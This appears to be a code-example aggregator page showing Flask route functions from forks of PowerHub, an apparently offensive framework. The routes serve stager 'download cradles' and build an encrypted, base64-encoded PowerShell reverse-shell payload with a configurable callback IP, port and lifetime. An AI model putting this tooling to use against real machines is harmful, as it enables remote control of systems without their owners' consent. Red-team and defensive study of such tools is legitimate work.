コード例 #1
0
ファイル: flask.py プロジェクト: NBG0x1/PowerHub
def hub():
    context = {
        "dl_str": stager_str(need_proxy=need_proxy, need_tlsv12=need_tlsv12),
        "modules": modules,
        "repositories": list(repositories.keys()),
        "SSL": args.SSL_KEY is not None,
    }
    return render_template("hub.html", **context)
コード例 #2
0
def receiver():
    context = {
        "dl_str": stager_str(flavor='reverse_shell',
                             need_proxy=need_proxy,
                             need_tlsv12=need_tlsv12),
        "SSL": args.SSL_KEY is not None,
        "shells": shell_receiver.shells,
    }
    return render_template("receiver.html", **context)
コード例 #3
0
def reverse_shell():
    """Spawn a reverse shell"""
    context = {
        "dl_cradle": stager_str().replace('$K', '$R'),
        "IP": args.URI_HOST,
        "delay": 10,  # delay in seconds
        "lifetime": 3,  # lifetime in days
        "PORT": str(args.REC_PORT),
    }
    result = render_template(
                    "reverse-shell.ps1",
                    **context,
    ).encode()
    result = b64encode(encrypt(result, key))
    return Response(result, content_type='text/plain; charset=utf-8')
コード例 #4
0
ファイル: flask.py プロジェクト: DrinkMe/PowerHub
def receiver():
    context = {
        "dl_str":
        stager_str(flavor='reverse_shell',
                   need_proxy=need_proxy,
                   need_tlsv12=need_tlsv12),
        "SSL":
        args.SSL_KEY is not None,
        "shells":
        shell_receiver.active_shells(),
        "AUTH":
        args.AUTH,
        "VERSION":
        __version__,
    }
    return render_template("receiver.html", **context)
コード例 #5
0
def dlcradle():
    global need_proxy, need_tlsv12
    need_proxy = request.args['proxy'] == 'true'
    need_tlsv12 = request.args['tlsv12'] == 'true'
    return stager_str(need_proxy, need_tlsv12)